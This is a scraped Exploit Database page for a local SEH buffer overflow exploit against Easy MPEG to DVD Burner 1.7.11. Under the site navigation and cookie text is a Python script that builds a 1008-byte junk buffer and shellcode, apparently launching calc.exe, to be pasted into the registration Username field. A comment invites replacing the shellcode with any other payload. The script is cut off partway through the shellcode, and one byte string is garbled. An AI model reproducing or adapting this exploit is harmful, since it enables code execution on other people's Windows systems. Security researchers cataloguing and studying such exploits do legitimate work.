5/2/26, 9:02 PM Easy MPEG to DVD Burner 1.7.11 - Local Buffer Overflow (SEH) - Windows local Exploit

ﬁ@ EXPLOIT DATABASE

EXPLOITS

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

m Cookiebot

by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about
your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided
to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details >

Do not sell or share my personal information

https://www.exploit-db.com/exploits/44565 1/4


https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/google-hacking-database
https://www.exploit-db.com/papers
https://www.exploit-db.com/shellcodes
https://www.exploit-db.com/search
https://www.exploit-db.com/searchsploit
https://www.exploit-db.com/submit
https://www.offsec.com/?utm_source=edb&utm_medium=web&utm_campaign=www
https://www.cookiebot.com/en/what-is-behind-powered-by-cookiebot/?utm_source=banner_cb&utm_medium=referral&utm_content=v2

5/2/26, 9:02 PM

%’ EXPLOIT DATABASE

EXPLOITS

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

This website uses cookies

https://www.exploit-db.com/exploits/44565

Easy MPEG to DVD Burner 1.7.11 - Local Buffer Overflow (SEH) - Windows local Exploit

Easy MPEG to DVD Burner 1.7.11 - Local Buffer

Overflow (SEH)

EDB-ID:
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#!/usr/bin/python

# Exploit Title: Easy MPEG to DVD Burner 1.7.11 SEH Local Buffer Overflow
# Date: 2018-05-02

# Exploit Author: Marwan Shamel

# Software Link: https://downloads.tomsguide.com/MPEG-Easy-Burner,0301-
10418.html

# Version: 1.7.11

# Tested on: Windows 7 Enterprise SP1 32 bit

# Special thanks to my wife

# Steps : Open the APP > click on register > Username field > just paste
watever generated from python script in the txt file.

junk = "\x42" * 1008

# below shell code will open calc.exe can be changed according to your
needs just make sure to avoid bad chars x0d x00 xO0a

evil = ""

evil += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"

evil += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"

evil += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"

evil += "\Xx7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"

evil += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
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